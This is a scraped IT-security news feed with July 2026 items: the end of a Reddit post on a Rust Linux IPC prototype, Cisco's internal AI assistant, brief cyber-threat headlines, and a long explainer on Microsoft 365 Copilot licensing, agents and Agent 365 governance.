into a common layer:</p> <ul> <li>atomic messages instead of byte streams;</li> <li>asynchronous request/reply;</li> <li>reply tokens issued by the kernel;</li> <li>fd passing together with the payload;</li> <li>caller identity provided by the kernel;</li> <li>integration with <code>poll</code>/<code>epoll</code>;</li> <li>services as namespaces for functions, stores, and eventually signals.</li> </ul> <p>The inspiration comes a lot from Android Binder, where many Java APIs actually call privileged system services underneath.</p> <h1>Current status</h1> <p>This is still an early prototype. It is kernel code, so bugs can crash the machine. For now, I am developing and testing it carefully.</p> <p>I also created a tool called <code>cargo-nok</code> to compile Linux kernel modules in Rust using Cargo, without directly depending on the kernel’s traditional Makefile infrastructure, allowing direct use of crates.io libraries, taking advantage of the Rust ecosystem and greatly speeding up development. Repository: <a href="https://github.com/ardos-os/cargo-nok">https://github.com/ardos-os/cargo-nok</a></p> <p>My goal now is to get feedback on the design:</p> <ul> <li>does it make sense to model services as namespaces for functions, stores, and signals?</li> <li>do reactive stores at the service bus level seem like a good primitive?</li> <li>what security or lifecycle problems do you think I should handle early?</li> <li>should this stay in the kernel, or would some parts make more sense in userspace?</li> </ul> <p>GitHub: <a href="https://github.com/ardos-os/motherboard">https://github.com/ardos-os/motherboard</a></p> <p>I would really like to hear opinions, especially from people who have worked with Linux, IPC, operating systems, D-Bus, Android, Rust, or low-level development.</p> </div><!-- SC_ON -->   submitted by   <a href="https://www.reddit.com/user/tiagodinis_"> /u/tiagodinis_ </a> <br> <span><a href="https://www.reddit.com/r/linux/comments/1umv6g2/i_tried_to_create_a_better_ipc_system_for_linux/">[link]</a></span>   <span><a href="https://www.reddit.com/r/linux/comments/1umv6g2/i_tried_to_create_a_better_ipc_system_for_linux/">[comments]</a></span>]]></content:encoded>
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<title><![CDATA[ACMP 6.10: Mehr Kontrolle für Updates und Compliance im IT-Betrieb]]></title>
<description><![CDATA[ACMP 6.10 von Aagon bringt neue Funktionen für mehr Kontrolle, Sicherheit und Automatisierung im IT-Alltag. Das Update hilft Unternehmen dabei, IT-Prozesse einfacher zu steuern und Compliance-Anforderungen besser zu erfüllen.

Tags: #Aagon | #Compliance | #Unified Endpoint Management | #Updates]]></description>
<link>https://tsecurity.de/de/3643273/it-security-nachrichten/acmp-610-mehr-kontrolle-fuer-updates-und-compliance-im-it-betrieb/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3643273/it-security-nachrichten/acmp-610-mehr-kontrolle-fuer-updates-und-compliance-im-it-betrieb/</guid>
<pubDate>Fri, 03 Jul 2026 12:39:15 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><img width="1920" height="1080" src="https://www.it-daily.net/wp-content/uploads/2026/07/UEM_Shutterstock_2553658901_1920.jpg" class="attachment-full size-full wp-post-image" alt="Aagon, ACMP 6.10 Aagon Update, ACMP 6.10, Update" decoding="async" srcset="https://www.it-daily.net/wp-content/uploads/2026/07/UEM_Shutterstock_2553658901_1920.jpg 1920w, https://www.it-daily.net/wp-content/uploads/2026/07/UEM_Shutterstock_2553658901_1920-300x169.jpg 300w, https://www.it-daily.net/wp-content/uploads/2026/07/UEM_Shutterstock_2553658901_1920-1024x576.jpg 1024w, https://www.it-daily.net/wp-content/uploads/2026/07/UEM_Shutterstock_2553658901_1920-768x432.jpg 768w, https://www.it-daily.net/wp-content/uploads/2026/07/UEM_Shutterstock_2553658901_1920-1536x864.jpg 1536w" sizes="(max-width: 1920px) 100vw, 1920px" title="ACMP 6.10: Mehr Kontrolle für Updates und Compliance im IT-Betrieb 3"></p>
    ACMP 6.10 von Aagon bringt neue Funktionen für mehr Kontrolle, Sicherheit und Automatisierung im IT-Alltag. Das Update hilft Unternehmen dabei, IT-Prozesse einfacher zu steuern und Compliance-Anforderungen besser zu erfüllen.

<p>Tags: <a href="https://www.it-daily.net/thema/aagon">#Aagon</a> | <a href="https://www.it-daily.net/thema/compliance">#Compliance</a> | <a href="https://www.it-daily.net/thema/unified-endpoint-management">#Unified Endpoint Management</a> | <a href="https://www.it-daily.net/thema/updates">#Updates</a></p>]]></content:encoded>
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<title><![CDATA[Cisco’s in-house AI assistant is a jack of all trades]]></title>
<description><![CDATA[Since the advent of ChatGPT, enterprises have been intent on transforming generative AI’s potential as a digital assistant into productivity enhancements in every pocket of the organization. Networking giant Cisco is one company that has been at the leading edge of that pursuit.



The original i...]]></description>
<link>https://tsecurity.de/de/3643187/it-security-nachrichten/ciscos-in-house-ai-assistant-is-a-jack-of-all-trades/</link>
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<pubDate>Fri, 03 Jul 2026 12:08:45 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p>Since the advent of ChatGPT, enterprises have been intent on transforming generative AI’s potential as a digital assistant into productivity enhancements in every pocket of the organization. Networking giant Cisco is one company that has been at the leading edge of that pursuit.</p>



<p>The original idea for an internal assistant started at Cisco as ChatGPT and other consumer-grade AI tools launched in late 2022 and early 2023, and Cisco’s leadership debated whether to allow employees to use them,  says <a href="https://www.linkedin.com/in/srini/" rel="nofollow">Srini Namineni</a>, chief automation officer at Cisco.</p>



<p>“The big question was, Should we actually block it?” he says. “The risks were clear when people can put company data in there, and someone else may see this data. We made a deliberate choice saying, ‘Instead of blocking it, let us give them a secure alternative.’”</p>



<p>That initial internal AI assistant project, launched in late 2023, was also conceived to consolidate what could have become a fragmented internal AI ecosystem into one platform, while <a href="https://www.cio.com/article/2081881/cisco-led-consortium-to-spread-ai-expertise-in-the-workforce.html?utm=hybrid_search">allowing employees</a> the flexibility to connect to multiple AI models.</p>



<p>The AI assistant, which originally included Azure OpenAI and Google Gemini, can now integrate new models within a couple of weeks of an employee’s request, Namineni says. And it has since grown into a multifunction combination copilot, coding assistant, HR assistant, and jack of all trades that allows employees to add AI capabilities to a wide range of work activities.</p>



<p>The AI assistant, which earned Cisco a <a href="https://www.cio.com/article/220017/us-cio-100-winners-celebrating-it-innovation-and-leadership.html">2026 CIO 100 Award</a> for IT innovation and leadership, saves company engineers an average of six hours per week and other employees an average of five hours, according to the company.</p>



<p>While the main goals of the project were security and flexibility, Cisco has found a third benefit: With a monthly cost per user at about $10, the internal AI assistant operates below the subscription prices of several off-the-shelf AI assistants, Namineni says.</p>



<h2 class="wp-block-heading">Mitigating AI risk</h2>



<p>The tool, available to employees since 2024, had more than 96,000 users as of the first quarter of 2026, with 90% employee adoption. It has received high marks from employees, with 79% of employees believing the internal assistant saves them time, 72% saying it increases productivity, and 71% noting that it improves the quality of their work, according to internal polling.For example, the tool has accelerated software development at Cisco by helping developers find tiny bugs and generate unit tests, the company says.</p>



<p>Namineni and his team have helped ensure employee use of the tool by continually adding new features, giving the AI assistant more functionality than some off-the-shelf assistants have.</p>



<p>Employees can share AI prompts with one another through the assistant, and they can handle HR tasks such as scheduling vacation days without logging into another service. The assistant also enables employees to upload proprietary datasets to secure OneDrive folders for customized projects and offers retrieval augmented generation (RAG) as a service for secure querying of internal Cisco documents and metadata.</p>



<p>The Cisco project is built on a microservices architecture, allowing for quick onboarding of new AI applications, according to the company. Cisco has pitched the assistant as an AI teammate, envisioning a virtual staff of AI agents for every employee.</p>



<h2 class="wp-block-heading">Evolution coming</h2>



<p>Namineni envisions several new features, including agents personalized to assist each employee on a constant basis. These personalized agents could connect to employees’ email and Webex Meetings account and take actions on their behalf, with permission. A personalized agent could sort emails based on priority, for example.</p>



<p>He also sees the assistants taking on more HR and finance tasks, freeing up employees to perform higher-level work.</p>



<p>Employees will have control, though, he notes. “I am not ready to let go of 100% control unless it’s a low-value activity where I’m OK with it making a mistake because it does make mistakes,” Namineni says. “Our challenge is, how do we take this power, contain it in the use cases where it can do as much work as it can, and still have human in the loop?”</p>



<p>In addition to the CIO 100 Award, the Cisco project has earned other accolades as well. The AI assistant can be a model for other large enterprises that want to encourage employees to safely use AI, says <a href="https://my.idc.com/getdoc.jsp?containerId=PRF005268" rel="nofollow">Amy Loomis</a>, group vice president for workplace solutions at IT analyst firm IDC.</p>



<h2 class="wp-block-heading">Follow the logic</h2>



<p>Other companies can adopt the logic of the approach, although they may decide not to replicate Cisco’s specific technical stack, she says. The architecture, including dual model integration, hybrid multicloud orchestration, RAG as a service, and microservices, reflects Cisco’s scale and engineering capacity, she notes.</p>



<p>The underlying set of decisions is sound, she adds. Companies should give employees a governed internal AI environment before shadow AI proliferates; address fragmented tools with a unified intelligent interface; build access controls that keep humans accountable for what AI tools do on their behalf; and frame AI to employees as something that raises the quality and reach of their work.</p>



<p>Cisco’s innovation lies in how the individual components of the AI assistant work as a system, Loomis says. Several individual pieces, including RAG pipelines, GPT-4o access, OneDrive integration, microservices architecture, are available elsewhere, but Cisco has put them all together.</p>



<p>“What is less common is combining them inside a governed, enterprise-owned environment with explicit data controls, rather than routing employee queries through external AI services where sensitive data can enter public training datasets,” she adds.</p>



<p>Loomis points to the My Projects feature that allows employees to upload proprietary datasets to secured OneDrive folders for customized Q&amp;A. This approach gives employees the functionality they need when they otherwise would turn to unauthorized external tools, she says.</p>



<p>Loomis also praised Cisco for framing AI as an amplification layer for human capabilities.</p>



<p>“Giving every employee access to a set of AI tools calibrated to their role and work context is a change management choice as much as a technology one,” she says. “Organizations that position AI this way, as something that sharpens what employees can do rather than substituting for how they do it, tend to achieve broader adoption because they reduce the resistance that slows rollout.”</p>
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<title><![CDATA[Organizations struggle to prioritize known cyber risks]]></title>
<description><![CDATA[Organizations collect more cyber risk data than ever, with many still struggling to build a unified view of their exposure. The latest State of Threat Management report from Filigran found that security teams continue to work across disconnected tools, leaving…
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<pubDate>Fri, 03 Jul 2026 07:08:14 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Organizations collect more cyber risk data than ever, with many still struggling to build a unified view of their exposure. The latest State of Threat Management report from Filigran found that security teams continue to work across disconnected tools, leaving…</p>
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<p>The post <a href="https://www.itsecuritynews.info/organizations-struggle-to-prioritize-known-cyber-risks/">Organizations struggle to prioritize known cyber risks</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
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<title><![CDATA[Organizations struggle to prioritize known cyber risks]]></title>
<description><![CDATA[Organizations collect more cyber risk data than ever, with many still struggling to build a unified view of their exposure. The latest State of Threat Management report from Filigran found that security teams continue to work across disconnected tools, leaving important context spread across mult...]]></description>
<link>https://tsecurity.de/de/3642708/it-security-nachrichten/organizations-struggle-to-prioritize-known-cyber-risks/</link>
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<pubDate>Fri, 03 Jul 2026 06:50:01 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Organizations collect more cyber risk data than ever, with many still struggling to build a unified view of their exposure. The latest State of Threat Management report from Filigran found that security teams continue to work across disconnected tools, leaving important context spread across multiple systems. Cloud infrastructure, on-premises environments, third-party services, vulnerability scanners, threat intelligence feeds, and attack surface management platforms all generate information about potential risk. 93% of organizations experience challenges maintaining an … <a href="https://www.helpnetsecurity.com/2026/07/03/cyber-risk-exposure-report/" rel="nofollow">More <span class="meta-nav">→</span></a></p>
<p>The post <a href="https://www.helpnetsecurity.com/2026/07/03/cyber-risk-exposure-report/">Organizations struggle to prioritize known cyber risks</a> appeared first on <a href="https://www.helpnetsecurity.com/">Help Net Security</a>.</p>]]></content:encoded>
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<title><![CDATA[The people's AI?]]></title>
<description><![CDATA[OpenAI considers an equity plan to share AI wealth with the public. Cisco confirms active exploitation of its unified CM platform. Researchers discover autonomous ransomware. The Vect ransomware operation partners with TeamPCP. The FortiBleed credential-harvesting campaign is linked to ransomware...]]></description>
<link>https://tsecurity.de/de/3642218/it-security-nachrichten/the-peoples-ai/</link>
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<pubDate>Thu, 02 Jul 2026 22:38:46 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[OpenAI considers an equity plan to share AI wealth with the public. Cisco confirms active exploitation of its unified CM platform. Researchers discover autonomous ransomware. The Vect ransomware operation partners with TeamPCP. The FortiBleed credential-harvesting campaign is linked to ransomware attacks. Veil#Drop stealthily deploys the PureLog Stealer. Scammers target small businesses with fake law enforcement emails. Apple’s Hide My Email feature…doesn’t. An alleged Scattered Spider member is extradited to the United States. Our guest is Ben Yelin, Dave's Caveat cohost, on the Supreme Court’s geofence warrants ruling. Microsoft’s quantum claims leave physicists in two states at once.]]></content:encoded>
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<title><![CDATA[Cisco confirms exploitation of critical Unified CM flaw.]]></title>
<description><![CDATA[DHS investigates hack of information-sharing network. Suspected Scattered Spider member extradited to the US.]]></description>
<link>https://tsecurity.de/de/3641684/it-security-nachrichten/cisco-confirms-exploitation-of-critical-unified-cm-flaw/</link>
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<pubDate>Thu, 02 Jul 2026 18:24:40 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[DHS investigates hack of information-sharing network. Suspected Scattered Spider member extradited to the US.]]></content:encoded>
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<title><![CDATA[Cloudflare will das Agentic Internet fairer machen und setzt neue Regeln für KI-Bots]]></title>
<description><![CDATA[Erweiterte E-Mail-Sicherheit: Retarus integriert API-gestützten Schutz für Microsoft 365 und Co. Security-Lakehouse. Databricks plant Übernahme von ...]]></description>
<link>https://tsecurity.de/de/3641452/it-security-nachrichten/cloudflare-will-das-agentic-internet-fairer-machen-und-setzt-neue-regeln-fuer-ki-bots/</link>
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<pubDate>Thu, 02 Jul 2026 16:21:57 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Erweiterte E-Mail-<b>Sicherheit</b>: Retarus integriert API-gestützten Schutz für Microsoft 365 und Co. <b>Security</b>-Lakehouse. Databricks plant Übernahme von ...]]></content:encoded>
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<title><![CDATA[Cisco Unified CM Vulnerability Exploited]]></title>
<description><![CDATA[Cisco Systems has confirmed that attackers are actively exploiting a vulnerability in Cisco Unified Communications Manager (CM) in the wild. This article has been indexed from CyberMaterial Read the original article: Cisco Unified CM Vulnerability Exploited
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<link>https://tsecurity.de/de/3641169/it-security-nachrichten/cisco-unified-cm-vulnerability-exploited/</link>
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<pubDate>Thu, 02 Jul 2026 14:40:13 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Cisco Systems has confirmed that attackers are actively exploiting a vulnerability in Cisco Unified Communications Manager (CM) in the wild. This article has been indexed from CyberMaterial Read the original article: Cisco Unified CM Vulnerability Exploited</p>
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<title><![CDATA[Cisco finally confirms attackers exploiting Unified CM flaw]]></title>
<description><![CDATA[Cisco confirmed that attackers are now exploiting a Unified Communications Manager (Unified CM) vulnerability patched in early June. [...]]]></description>
<link>https://tsecurity.de/de/3641023/it-security-nachrichten/cisco-finally-confirms-attackers-exploiting-unified-cm-flaw/</link>
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<pubDate>Thu, 02 Jul 2026 13:54:00 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Cisco confirmed that attackers are now exploiting a Unified Communications Manager (Unified CM) vulnerability patched in early June. [...]]]></content:encoded>
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<title><![CDATA[Microsoft 365 Copilot: Office meets genAI and agents]]></title>
<description><![CDATA[Initially launched in November 2023, Microsoft 365 Copilot brings a range of generative AI (genAI) features to Microsoft Office productivity apps, such as Word, Outlook, Teams, and Excel. With capabilities ranging from quick meeting summaries to in-depth data analysis, it’s available via a paid a...]]></description>
<link>https://tsecurity.de/de/3640909/it-nachrichten/microsoft-365-copilot-office-meets-genai-and-agents/</link>
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<pubDate>Thu, 02 Jul 2026 13:18:10 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p>Initially launched in November 2023, Microsoft 365 Copilot brings a range of generative AI (genAI) features to Microsoft Office productivity apps, such as Word, Outlook, Teams, and Excel. With capabilities ranging from quick meeting summaries to in-depth data analysis, it’s available via a paid add-on license for <a href="https://www.computerworld.com/article/1691110/microsoft-365-explained.html">Microsoft 365</a> enterprise and small-business customers.</p>



<p>Initially hampered by <a href="https://www.computerworld.com/article/2513395/copilot-for-microsoft-365-review-hands-on-deep-dive.html">underwhelming capabilities</a> and a hefty price tag for businesses of all sizes, M365 Copilot has slowly gained traction in business as its abilities have increased and the integrations between Copilot and various M365 apps and services have improved. With numerous feature rollouts over the past three years, Microsoft has gradually repositioned M365 Copilot from a simple chatbot to a collection of autonomous agents that can carry out tasks across the M365 ecosystem.</p>



<p>The company has also goosed adoption by introducing a <a href="https://www.computerworld.com/article/4093224/microsoft-drops-m365-copilot-price-for-smbs-upgrades-free-copilot-chat.html">more affordable pricing tier for small businesses</a> and (temporarily, as it turns out) allowing commercial users with a standard M365 license to <a href="https://www.computerworld.com/article/4058429/copilot-chat-comes-to-m365-apps-for-no-extra-cost.html">use Copilot in the Office apps</a>, even without the add-on M365 Copilot license.</p>



<h3 class="wp-block-heading">Microsoft 365 Copilot pricing: 2026 tiers</h3>



<figure class="wp-block-table"><div class="overflow-table-wrapper"><table><tbody><tr><td><strong>Tier</strong></td><td><strong>Monthly cost (paid annually)</strong></td><td><strong>Availability</strong></td></tr><tr><td><a href="https://www.microsoft.com/en-us/microsoft-365-copilot/pricing/enterprise" target="_blank" rel="noreferrer noopener">M365 Copilot</a></td><td>$30 / user</td><td>For organizations with more than 300 seats; required for in-app Copilot integration in organizations with more than 2,000 seats</td></tr><tr><td><a href="https://www.microsoft.com/en-us/microsoft-365-copilot/pricing" target="_blank" rel="noreferrer noopener">M365 Copilot Business</a></td><td>$21 / user</td><td>For organizations with 10 – 300 seats</td></tr><tr><td><a href="https://www.microsoft.com/en-us/microsoft-agent-365#plans-and-pricing" target="_blank" rel="noreferrer noopener">Agent 365</a> (add-on management layer)</td><td>$15 / user</td><td>Available as standalone subscription or included in the new M365 E7 Frontier Suite</td></tr></tbody></table> </div></figure>



<h2 class="wp-block-heading">Microsoft 365 Copilot today</h2>



<p>In this way, Microsoft 365 Copilot has moved from genAI curiosity to a key part of many enterprises’ workflows. In January 2026, Microsoft said it had <a href="https://www.computerworld.com/article/4124591/microsoft-touts-m365-copilot-momentum-claims-15m-paid-users.html">15 million paid M365 Copilot seats</a>, a figure the company <a href="https://techcrunch.com/2026/04/29/microsoft-says-it-has-over-20m-paid-copilot-users-and-they-really-are-using-it/" target="_blank" rel="noreferrer noopener">raised to 20 million</a> in April.</p>



<p>However, its momentum now faces a challenge as <a href="https://www.computerworld.com/article/4150022/microsoft-backtracks-on-copilot-chat-access-in-m365-apps.html">Microsoft limits access to Copilot Chat</a>, a freemium version of the paid M365 Copilot, for its largest enterprise customers. </p>



<p>Specifically, for commercial customers with more than 2,000 seats, Microsoft has removed in-app Copilot Chat access from Word, Excel, and PowerPoint for users without a Microsoft 365 Copilot license. To maintain that integration, large organizations must now pay for the full $30/user/month M365 Copilot license. The M365 Copilot license includes what Microsoft calls priority access to Copilot capabilities, which provides “faster response times and more consistent availability compared to standard access,” according the the company. </p>



<p>Smaller firms (less than 2,000 seats) that have a Microsoft 365 license but not the add-on M365 Copilot license will maintain standard access to Copilot from within the Office apps. <a href="https://support.microsoft.com/en-gb/topic/standard-versus-priority-access-to-features-in-microsoft-365-copilot-chat-12c8d9f8-db32-4f99-8ebe-d8d85879137f">Microsoft warns</a> that standard users may experience longer response times and temporary feature limitations as the service shifts resources to its higher-tier customers during peak hours.</p>



<p>When signed in to the <a href="https://m365.cloud.microsoft/" target="_blank" rel="noreferrer noopener">Copilot Chat hub</a>, users can see which version of Copilot they have by looking for one of the following labels at the bottom of the left sidebar:</p>



<ul class="wp-block-list">
<li><strong>Copilot Chat (Basic)</strong> means the user doesn’t have an M365 Copilot license and can’t use Copilot in the Office apps. They can use the standalone Copilot Chat app with standard access.</li>



<li><strong>M365 Copilot (Basic)</strong> means the user doesn’t have an M365 Copilot license but does have standard access to Copilot in the Office apps.</li>



<li><strong>M365 Copilot (Premium)</strong> means the user has an M365 Copilot license and has priority access to Copilot in the Office apps.</li>
</ul>



<p>Users with paid M365 Copilot licenses also get advanced features including the ability to pull in data from across the M365 environment (documents, meetings, emails, chats, etc.), extensive use of agents including “advanced” agents like Researcher and Analyst, and the ability to create custom agents. See Microsoft’s “<a href="https://support.microsoft.com/en-us/microsoft-365-copilot/how-copilot-chat-works-with-and-without-a-microsoft-365-copilot-license" target="_blank" rel="noreferrer noopener">How Copilot Chat works with and without a Microsoft 365 Copilot license</a>” page for details.</p>



<aside class="sidebar">
<h3><strong>What’s new with Microsoft 365 Copilot</strong></h3>
&gt;
<li> <strong>Licensing shift:</strong> Large enterprises (more than 2,000 seats) cannot access Copilot directly in Office apps without the M365 Copilot license.</li>
<li><strong>Multimodel access:</strong> M365 Copilot now supports non-OpenAI models like Anthropic’s Claude 4, allowing users to choose the best logic for specific tasks.</li>
<li><strong>Agentic pivot:</strong> The focus shifts from simple chat to autonomous agents that execute multi-step workflows across the M365 ecosystem.</li>

</aside>




<h2 class="wp-block-heading">What other Copilots does Microsoft offer?</h2>



<p>It’s worth noting that Microsoft uses the term “Copilot” for a wide variety of genAI tools and functions. Individual users with M365 Personal, Family, and Premium subscriptions <a href="https://www.computerworld.com/article/3806855/copilot-ai-microsoft-365.html">can use Copilot in Office apps</a>, but with fewer features and privileges than business users get with a Microsoft 365 Copilot license. There’s also a <a href="https://www.computerworld.com/article/1611598/microsoft-copilot-tips-how-to-use-copilot-right.html">free consumer version of Copilot</a> with very limited functionality. </p>



<p>Adding to the confusion, the company offers several specialized enterprise versions of Copilot for specific purposes, including <a href="https://learn.microsoft.com/en-us/microsoft-copilot-studio/" target="_blank" rel="noreferrer noopener">Microsoft Copilot Studio</a>, <a href="https://learn.microsoft.com/en-us/copilot/security/" target="_blank" rel="noreferrer noopener">Microsoft Security Copilot</a>, <a href="https://learn.microsoft.com/en-us/azure/copilot/" target="_blank" rel="noreferrer noopener">Azure Copilot</a>, and <a href="https://www.infoworld.com/article/3609013/github-copilot-everything-you-need-to-know.html" target="_blank">GitHub Copilot</a>, as well as additional Copilot “experiences” for Microsoft products such as <a href="https://learn.microsoft.com/en-us/dynamics365/copilot/ai-get-started" target="_blank" rel="noreferrer noopener">Dynamics 365</a>, <a href="https://learn.microsoft.com/en-us/power-platform/copilot" target="_blank" rel="noreferrer noopener">Power Platform</a>, and <a href="https://learn.microsoft.com/en-us/fabric/fundamentals/copilot-fabric-overview" target="_blank" rel="noreferrer noopener">Microsoft Fabric</a>. </p>



<p>Also available: agents in M365 Copilot built for specific industries, including <a href="https://learn.microsoft.com/en-us/copilot/finance/" target="_blank" rel="noreferrer noopener">finance</a>, <a href="https://learn.microsoft.com/en-us/microsoft-sales-copilot/" target="_blank" rel="noreferrer noopener">sales</a>, and <a href="https://learn.microsoft.com/en-us/microsoft-copilot-service/" target="_blank" rel="noreferrer noopener">service</a>.</p>



<h2 class="wp-block-heading">From chatbot to multi-model researcher to agentic powerhouse</h2>



<p>Microsoft has moved away from a single-model approach for its AI assistant. Copilot Chat has evolved into a Frontier interface, allowing users to select among different LLMs (large language models) such as GPT-5.4 and Anthropic Claude 4 for specialized tasks.</p>



<p>A persistent AI risk for enterprises is overly permissive data access. Because Copilot inherits the permissions of the user, any file that is improperly shared within an organization can be surfaced by the AI. To combat the issue of business-critical files that are at risk due to inappropriate classification, <a href="https://learn.microsoft.com/en-us/purview/copilot-in-purview-overview" target="_blank" rel="noreferrer noopener">Microsoft has integrated Purview Data Security Posture Management (DSPM)</a> more deeply into Copilot, alerting users when they are generating content from unclassified or sensitive sources.</p>



<p>Other recently introduced M365 Copilot features include:</p>



<ul class="wp-block-list">
<li><a href="https://support.microsoft.com/en-us/topic/get-started-with-researcher-in-microsoft-365-copilot-e63ab760-f3de-4c47-ae87-dad601b0e9c4" target="_blank" rel="noreferrer noopener">Copilot Researcher</a><strong>:</strong> This feature allows the assistant to pull from multi-model intelligence, comparing perspectives from different AI models side-by-side to reduce hallucinations.</li>



<li><a href="https://support.microsoft.com/en-us/topic/get-started-with-microsoft-365-copilot-notebooks-0775e693-11c6-4d80-8aba-fcc81a737a06" target="_blank" rel="noreferrer noopener">Copilot Notebooks</a><strong>:</strong> Notebooks allow you to ground the AI in specific project context. These can now be exported directly into structured Excel spreadsheets or PowerPoint decks, bypassing the need for manual copy and pasting.</li>



<li><a href="https://support.microsoft.com/en-us/office/interpreter-in-microsoft-teams-meetings-and-calls-c7efe2bb-535d-42ab-a5c4-d2d91619b46d" target="_blank" rel="noreferrer noopener">Teams Interpreter</a><strong>:</strong> Integrated directly into Teams Phone, Interpreter is designed to provide real-time, AI-powered language interpretation during live calls, a boon for global enterprise operations.</li>



<li><a href="https://www.computerworld.com/article/4080435/m365-copilot-now-lets-you-build-apps-and-agents-with-natural-language-prompts.html">App Builder</a>: A no-code tool that lets business users create apps, workflows, and agents using natural language prompts. It’s essentially a “lite” version of Microsoft’s high-end Copilot Studio environment for developers.</li>



<li><a href="https://www.computerworld.com/article/4163305/agent-mode-is-now-available-in-microsoft-word-excel-and-powerpoint.html">Agents for Word, Excel, and PowerPoint</a>: Advanced modes that allow Copilot to take direct action on documents and files rather than simply suggest changes. </li>
</ul>



<p>Even more notable was the June <a href="https://www.computerworld.com/article/4186190/microsoft-launches-copilot-cowork-with-usage-based-pricing.html">launch of Copilot Cowork</a>, which Microsoft pitches as an AI agent for M365 Copilot that can independently perform long-running, multi-step tasks, even when a user’s computer is turned off. Unlike Anthropic’s Claude Cowork, which can interact directly with files and applications on a user’s computer, Copilot Cowork runs in Microsoft’s cloud environment and acts on documents held in a customer’s Microsoft 365 tenant. Copilot Cowork requires a Microsoft 365 Copilot license and is billed based on usage.</p>



<p>Another announcement that caused a stir was Microsoft’s unveiling of Scout, its first <a href="https://www.computerworld.com/article/4180103/microsoft-unveils-scout-an-autonomous-ai-agent-built-on-openclaw.html">autonomous agent built on the open-source OpenClaw platform</a>. By integrating OpenClaw-style agentic capabilities, Microsoft hopes to transform Copilot into an always-on system that can, for instance, scan Outlook email inboxes and calendars to suggest daily priorities. Microsoft’s implementation addresses security concerns around self-hosted agents by isolating professional-grade “autopilots” within specific roles and applying managed permission guardrails. Scout is available as an “experimental release” to customers of Microsoft’s Frontier program.</p>



<p>Industry analysts note that these tools are new and unproven, and IT leaders should use caution when testing them and evaluating costs.</p>



<h2 class="wp-block-heading">Managing AI agent sprawl: Enter Agent 365</h2>



<p>As organizations move beyond simple chat to building custom <a href="https://learn.microsoft.com/en-us/microsoft-365/copilot/extensibility/overview-declarative-agent" target="_blank" rel="noreferrer noopener">declarative agents</a> in Copilot Studio, the risk of <a href="https://www.cio.com/article/4129630/shadow-ai-practices-a-wakeup-call-for-enterprises.html" target="_blank">shadow AI </a>has become a concern. Gartner reports that 86% of IT leaders require additional governance to manage these agents.</p>



<p>Available as an add-on subscription for Microsoft 365 or bundled in the top-end M365 E7 package, <a href="https://www.computerworld.com/article/4092436/microsoft-unveils-agent-365-to-help-it-manage-ai-agent-sprawl.html">Agent 365</a> acts as a control plane for the AI ecosystem. Unlike the user-facing Copilot, Agent 365 is a back-end dashboard that allows IT admins to manage agents in various ways:</p>



<ol start="1" class="wp-block-list">
<li><strong>Registry and lifecycle management:</strong> View every agent — Microsoft, third-party, or internally developed — in a “single-pane-of-glass” dashboard.</li>



<li><strong>Policy-based guardrails:</strong> Admins can set global rules to prevent agents from accessing high-sensitivity data (like payroll), even if the human user has permission.</li>



<li><strong>Unified ROI analytics:</strong> Leaders can track which agents are actually driving value, allowing for precise seat-count adjustments during renewal cycles.<br><br></li>
</ol>



<h3 class="wp-block-heading">Microsoft Agent 365 quick facts</h3>



<figure class="wp-block-table"><div class="overflow-table-wrapper"><table><tbody><tr><td>Pricing</td><td>$15 / user / month (as an add-on) or included in the Microsoft 365 E7 suite ($99 / user / month)</td></tr><tr><td>Core functions</td><td>Centralized registry, access control, and performance analytics for all AI agents</td></tr><tr><td>Objective</td><td>Designed to prevent agent sprawl and ensure agents from partners (e.g., Adobe, ServiceNow, etc.) follow M365 security rules</td></tr></tbody></table> </div></figure>



<p>Gartner says that Agent 365 is still a work in progress and has yet to prove it can actually reduce costs in IT operations. The analyst firm advises customers to assess Agent 365 but not necessarily move to it or the E7 bundle right away.</p>



<hr class="wp-block-separator has-alpha-channel-opacity">



<h2 class="wp-block-heading">Copilot vs. AI in other productivity apps</h2>



<p>Most vendors in the productivity and collaboration software market have added genAI and agentic tools to their offerings at this point.</p>



<p>The rivalry between Microsoft and Google has heightened in 2026. While Google has <a href="https://www.computerworld.com/article/4136922/google-gemini-3-years.html#:~:text=Gemini%E2%80%99s%20simplest%20struggles">faced criticism</a> for a messy transition from the Google Assistant to Gemini, it remains a price leader by <a href="https://www.computerworld.com/article/3804055/google-ups-workspace-price-makes-gemini-ai-features-available-for-free.html">embedding Gemini features directly</a> into most tiers of its office suite, <a href="https://www.computerworld.com/article/3570821/google-workspace-explained-googles-answer-to-microsoft-365.html">Google Workspace</a>.</p>



<p>In contrast, Microsoft seems to be threading a needle, tightening Copilot Premium licensing for large enterprises while making basic Copilot features available to smaller customers without an add-on license. The goal may be to standardize AI as a commodity while reserving the high-value agentic features for the highest-paying enterprise customers.</p>



<p>While Microsoft focuses on the productivity suite, Salesforce is positioning Slack as the “agentic operating system” for the enterprise. As of April 2026, <a href="https://www.computerworld.com/article/4153622/slacks-ai-updates-signal-shift-towards-agent-orchestration.html">Slack AI has moved beyond summarizing to orchestrating agentic workflows</a>. This is designed let you trigger complex, multi-step actions across non-Microsoft systems directly from a Slack thread.</p>



